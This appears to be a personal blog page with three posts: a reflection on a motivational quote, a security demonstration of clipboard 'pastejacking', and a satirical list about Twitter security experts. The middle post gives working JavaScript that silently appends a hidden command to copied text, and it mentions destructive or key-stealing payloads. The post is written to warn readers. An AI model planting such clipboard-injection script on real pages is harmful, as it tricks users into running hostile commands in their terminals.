Category: Uncategorized

I have a mentor who sends me a motivational quote a couple of times a week and today he dropped this on me:

If you’re the smartest person in the room, then you need to find another room.

I have heard that quote before and actually used it in an opening slide of a talk to make a self deprecating joke.  I get the underlaying meaning of the quote but I think few people would actually admit to thinking that they are the smartest person in the room.

So either the person who wrote this quote was an egomaniac or wasn’t clear in his writing.  Here is what I think he is talking about:

I have an amazing four year old at home who challenges me all the time by asking me questions I don’t know the answer to (Why are bananas yellow?) and asking me questions that make me think about life (Why do we have a house and my friend lives in an apartment?).

To be honest a lot of time I turn into this guy:

One thing my son does everyday is challenges me to think and learn. So after thinking about that quote for a little bit I responded with this:

If  you’re in a room with people who don’t challenge you, then you need to find another room.

Are you being challenged in your personal and professional life or is it time to find another room?

Earlier today I was reading this article on Rollingstone.com about how FXX plans to show all 552 episodes of The Simpson’s this August and noticed when I copied anything from the website it appends a link and copyright notice.  That got me thinking about what else could be appended to copied text and how bad guys could use.

So after a little looking around I found this JavaScript that will append text to anything copied.  To test my theory out I setup a secondary tumblr account called badcopypaste.tumblr.com and added this javascript to the head of the document:

javascript<script type=“text/javascript”>
function addLink() {
    var body_element = document.getElementsByTagName(‘body’)[0];
    var selection;
    selection = window.getSelection();
        var pagelink = “<br></br> du <br></br> ; // change this if you want
    var copytext = selection + pagelink;
    var newdiv = document.createElement(‘div’);
    newdiv.style.position=’absolute’;
    newdiv.style.left=’-99999px’;
    body_element.appendChild(newdiv);
    newdiv.innerHTML = copytext;
    selection.selectAllChildren(newdiv);
    window.setTimeout(function() {
        body_element.removeChild(newdiv);
    },0);
}
document.oncopy = addLink;
</script>

and posted this post:

When you copy and paste the echo $PATH command in Firefox and Chrome you get this:

echo $PATH

du

If you copy and paste directly into a terminal window you get this:

In the javascript I added a non-malicious DU command as an example. You cant see it until you already pasted it and it could just as easily been rm -rf / or a command to SCP all your SSH keys to "The Bad Guys™”.

That is why it is always a good idea to paste all commands into a notepad and not directly into a terminal and a dumb idea to let javascript add information to your clipboard.

So you want to be a Twitter security expert? I have come up with an easy to follow list to make sure you are:

All Cons, All The Time!
If you are not tweeting about flying to, attending, partying at, or flying home from a con at least once a month you cant be a security expert.  Also try not to mention what you actually do for a living.  It removes some of the expert shine.

Be an expert on EVERYTHING.
Heartbleed? Drones? Malaysia Airlines Flight 370? Top Secret NSA Domestic Spying Programs? Windows Patching? Programming?  All in your wheelhouse.  If you are going to be a twitter security expert you need to know this stuff.  Skimming half a wikipedia page qualifies you to speak on any subject authoritatively. 

Everything is your business.
A company you own no stock in appoints someone you dont like to their board of directors or CEO? Good thing you are an expert on EVERYTHING!  Time to be really outraged and let everyone know it!

It is all about you!
This is the main rule of being a security expert on twitter! Every time somebody expresses an opinion with which you disagree, they are doing it to anger you personally. It would be wrong to not to take it as a deeply personal insult.

How many followers do you have?
Make you sure you are have at minimum one bot a week tweet about how many followers, re-tweet and mentions you have.  You need people to know how important and influential you are!